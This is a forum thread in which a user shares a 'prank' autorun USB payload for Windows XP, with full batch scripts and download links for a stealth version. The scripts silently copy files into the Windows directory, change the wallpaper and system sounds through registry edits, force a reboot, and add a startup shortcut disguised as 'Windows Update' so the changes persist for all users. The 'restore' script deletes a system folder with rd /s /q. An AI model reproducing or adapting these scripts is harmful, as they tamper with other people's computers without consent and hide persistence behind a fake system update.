Jump to content

Recommended Posts

Posted

Fixed this up for a LAN took about 15mins, figgured i'd come over here and share it.  Very simple just changes the Desktop, to a pic. of V from 'V for Vendetta' then changes the windows boot/shutdown sounds to the 'Overture' from the movie.  Thats where the name comes in my friend told me to stop 'vandalizing' his computer.  Works with U3 or non-U3 drives, not very stealthy, though it could be made so. Stealth Version Available!  I dont have anywhere for you guys to download this from so, you will have to hit me up on aim or somthing.  SiZE: 18mb (with image and sound files)  Of course you can use any .bmp file and any .wav this is just my setup.  You can find the image i used here >>  http://www.flickr.com/photos/8051624@N03/1487890455/

The Overture.wav your on your own (or just hit me up on aim for the whole thing)

Questions about my payload?

AIM: sablefoxx121

[DOWNLOADED HERE]  Via MEDIAFiRE:

ZiP:

http://www.mediafire.com/?7meo5dgj1kz

.RAR

http://www.mediafire.com/?3nxcoqrmzjg

Stealth Version  (.rar)

http://www.mediafire.com/?2hbymt4ddwn

This Payload Contains

--------------------------------

impregnator.bat

  -Sin-

      1.reg

      2.reg

      3.reg

      v.bmp

      sin.bat

      Windows XP Statup.wav (modified)

      Windows XP Shutdown.wav (modified)

Restore Folder

----------------------

      Prayor.bat >>removes payload

      Windows XP Statup.wav (original)

      Windows XP Shutdown.wav (original)

     

EXPLAINED:

First the 'Impregnator.bat' runs and copies all the files to 'C:windowssys32'

@echo off
cls
color a
:: the following looks cool, trust me
echo.
echo                    ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo                    º     DiGiTAL VANDALiSM iN PROGRESS...    º
echo                    ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
mkdir %systemroot%sys32
xcopy /y sin %systemroot%sys32
start %systemroot%sys32sin.bat
echo;)
exit

Then goes 'Sin.bat' and it does all the work

Sets Desktop to the v.bmp, Then adds the reg keys

Reg Keys can be found in:

HKEY_CURRENT_USER>Control Panel>Desktop

1.reg = Converted Wallpaper

2.reg = Original Wallpaper

3.reg = Wallpaper

@ echo off
cls
:: Sin
cd %systemroot%sys32
:: Logon Sounds File
copy /y "Windows XP Shutdown.wav" C:WINDOWSMedia
copy /y "Windows XP Startup.wav" C:WINDOWSMedia
:: Desktop Replace
reg add "hkcucontrol paneldesktop" /v wallpaperstyle /t reg_sz /f /d 2
reg add "hkcucontrol paneldesktop" /v tilewallpaper /t reg_sz /f /d 0
echo -----------------
reg import "1.reg"
reg import "2.reg"
reg import "3.reg"
:: Make the user restart the computer to apply changes
shutdown /r /t 13 /c "Computer %ComputerName% has been liberated."
exit

To Restore Run 'prayor.bat'

(Doesnt restore wallpaper, i was too lazy.  I think you can do that)

@ echo off
cls
:: Logon Sounds File
copy /y "Windows XP Shutdown.wav" C:WINDOWSMedia
copy /y "Windows XP Startup.wav" C:WINDOWSMedia
::Delete Files
rd /s /q C:WINDOWSSys32
:: Desktop Replace
msg * "I think you know how to reset the desktop buddy."
:: Make the user restart the computer to apply changes
shutdown /r /t 30 /c "You are now re-opressed"
exit

--thx to ob1 for original idea

--thx to usbhacker for fixin the autorun

Posted

yeah it sounds like a good prank, but you'd need to be logged in under his admin acc to get it to work :( ...

Posted

Just thought of that and made a small fix.  Now it copies a Windows Update.lnk to the Startup folder in the 'All Users' dir.  so it will run for every user on the computer and reset the background every other time the computer is turned on. 

(I found that is is a good add on to the end of my switchblade)  Only works in XP, the logon/shutdown sounds are in a diffrent dir in Vista, wouldnt be too hard to update it for Vista but i don got a box running it right now.

HERE IS THE UPDATED CODE, Have fun:

-IMPREGNATOR.bat (no change)

SIN.bat

@ echo off
cls
:: Sin
cd %systemroot%sys32
:: Logon Sounds File
copy /y "Windows XP Shutdown.wav" C:WINDOWSMedia
copy /y "Windows XP Startup.wav" C:WINDOWSMedia
:: Desktop Replace
reg add "hkcucontrol paneldesktop" /v wallpaperstyle /t reg_sz /f /d 2
reg add "hkcucontrol paneldesktop" /v tilewallpaper /t reg_sz /f /d 0
echo -----------------
reg import "1.reg"
reg import "2.reg"
reg import "3.reg"
:: Put Shortcut in Startup Folder
move /y "Windows Update.lnk" "C:Documents and SettingsAll UsersStart MenuProgramsStartup"
:: Make the user restart the computer to apply changes
shutdown /r /t 13 /c "Computer %ComputerName% has been liberated."
exit

WUPDMGR.bat

@ echo off
cls
:: Make it Look Legit, kinda hehe
echo.
echo                    ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo                    º    Windows is Looking for Updates...    º
echo                    ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo Updates Found, Downloading...
:: Sin
cd %systemroot%sys32
:: Logon Sounds File
copy /y "Windows XP Shutdown.wav" C:WINDOWSMedia
copy /y "Windows XP Startup.wav" C:WINDOWSMedia
:: Desktop Replace
reg add "hkcucontrol paneldesktop" /v wallpaperstyle /t reg_sz /f /d 2
reg add "hkcucontrol paneldesktop" /v tilewallpaper /t reg_sz /f /d 0
reg import "1.reg"
reg import "2.reg"
reg import "3.reg"
exit

Just make a shortcut with the target %systemroot%Sys32wupdmgr.bat (actual target is %systemroot%System32wupdmgr.exe)

make sure to use the same icon!

(shortcut goes into the sin folder)

Here is the updated Prayor.bat

@ echo off
cls
:: Logon Sounds File
copy /y "Windows XP Shutdown.wav" C:WINDOWSMedia
copy /y "Windows XP Startup.wav" C:WINDOWSMedia
::Delete Files
rd /s /q C:WINDOWSSys32
:: Delete Startup
del /f /q "C:Documents and SettingsAll UsersStart MenuProgramsWindows-Update.bat"
:: Desktop Replace
msg * "I think you know how to reset the desktop buddy."
:: Make the user restart the computer to apply changes
shutdown /r /t 30 /c "You are now re-opressed"
exit

And plz dont use a pic. of sick ass pr0n! (it happened to me)

  • 2 weeks later...
Posted

Here is the MEDIAFiRE link, enjoy!

http://www.mediafire.com/?7meo5dgj1kz

Posted

Yep, sorry about that I'm actually running Ubuntu, and I don't know how to get autorun to work in a VM.  Anyway I think I fixed the problem here is an update.

[*] FIX - autorun (i think)

[*] FIX - prayor not removing .lnk in start up folder

[*] Other small tweaks

-Install

[Non-U3] Just extract contents of 'USB.SprayCan' folder to the root of your flash drive, go annoy the hell out of ppl

[u3]  Extract contents of 'USB.SprayCan' folder to the root of your payload dir, add 'call impregnator.bat' to the end of go.cmd

-Download

http://www.mediafire.com/?7meo5dgj1kz

-----------------------------------

Plz let me know if autorun still isnt working (i have no way of testing) and i don't really know how to write a .inf i just edited an existing one.

Posted

Okay, I fixed it, it's uploading to mediafire now;

Updated;

autorun.bat

Added;

folder.ico so that the USB 'folder' icon is now the folder icon, seen in other USB 'hacks'.

Hope you will like it!

USBHacker

Posted

Me like, much more pretty now!

Posted

Stealthed Version here:

http://www.mediafire.com/?2hbymt4ddwn

Enjoy!

Posted

WOW! You've gotten better!

shellexecute=nircmd.exe execmd CALL .impregnator.bat

That's some nice code there!

It's giving me some ideas on how to improved my claymore....

Anyways.... I hope this will work on non network computers (mine is a networked one, it didn't work :()

Posted

I have  a little more planned for this, check back for updates.

Posted

You can reduce the filesize by 13MB by using only one soundfile.

copy file1.wav C:Windowsmedia & copy file1.wav C:Windowsmedia

Posted

Yeh... But I'm lazy.  :-) 

Posted

Come on :D

The download took for me 23,1415 minutes, thats not nice ;)

Or something better, encoding it in mp3/ogg, then decoding it back to wav

Posted

lol its 18Mb what are you on a 56k ?!?  PS i will accept mail orders. (jk)

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...